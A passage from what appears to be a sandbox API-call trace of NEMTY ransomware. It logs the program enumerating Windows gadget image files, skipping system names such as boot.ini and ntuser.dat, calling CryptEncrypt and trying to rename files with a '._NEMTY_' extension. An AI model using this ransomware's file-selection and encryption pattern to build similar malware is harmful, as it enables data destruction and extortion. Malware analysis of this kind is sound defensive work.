dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.964] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(120DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2=".") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="..") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="...") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="windows") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="rsa") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="ntldr") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="IO.SYS") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="boot.ini") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="boot.ini") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="ntuser.dat") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="desktop.ini") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="RECYCLER") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="bootmgr") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="programdata") returned -1 [0151.964] lstrcmpiW (lpString1="(120DPI)greenStateIcon.png", lpString2="appdata") returned -1 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)greenStateIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)greenStateIcon.png", lpUsedDefaultChar=0x0) returned 26 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0151.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0151.965] Sleep (dwMilliseconds=0x5) [0151.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe3ad7f0, dwHighDateTime=0x1d561e8)) [0151.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe3ad7f0, dwHighDateTime=0x1d561e8)) [0151.973] GetLastError () returned 0x5 [0151.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.973] GetLastError () returned 0x5 [0151.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0151.973] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0151.973] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0151.973] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0151.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0151.973] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e5dc | out: pszString="prhDkKXetcXHQJIKJD7Bm5lGPKepPuOWF7LXfsC6ulF26/evDMoJe9yV7hhu++Zd\r\nZyUEWxb6qYcGy4Yd2nZuxF+ocJs3wJwFRy8TnBV4YX4t9V1h1rKbh7T9N8+m71Qb\r\nl9wcIG0caDhocFxwTGvcrTrcR20NOJqnovSJAkHsS33lMFVD4ykAhPzJexhuvavD\r\nb4CvHRTtuezjnbB2WdlbO9pDFTNtWgro7RHm7Db0M1zr3/HfqUgtNWIBOURVMASj\r\nxYkDtlHeFX3TNjHVqincm6zqwFyH09VRRtbeeovjMvnEosdXbVhQxwr/YPF5Mhlf\r\nYy9ew7RBVZB8KFH908AGyQ==\r\n", pcchString=0x653e5dc) returned 1 [0151.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0151.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0151.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0151.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.974] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)greenstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.974] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0151.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.083] CloseHandle (hObject=0xffffffff) returned 0 [0152.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0152.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0152.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)greenstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)greenStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)greenstateicon.png._nemty_kgobjgd_")) returned 0 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.084] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3719f8c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(120DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2=".") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="..") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="...") returned -1 [0152.084] lstrcmpiW (lpString1="(120DPI)notConnectedStateIcon.png", lpString2="windows") returned -1 [0152.084] 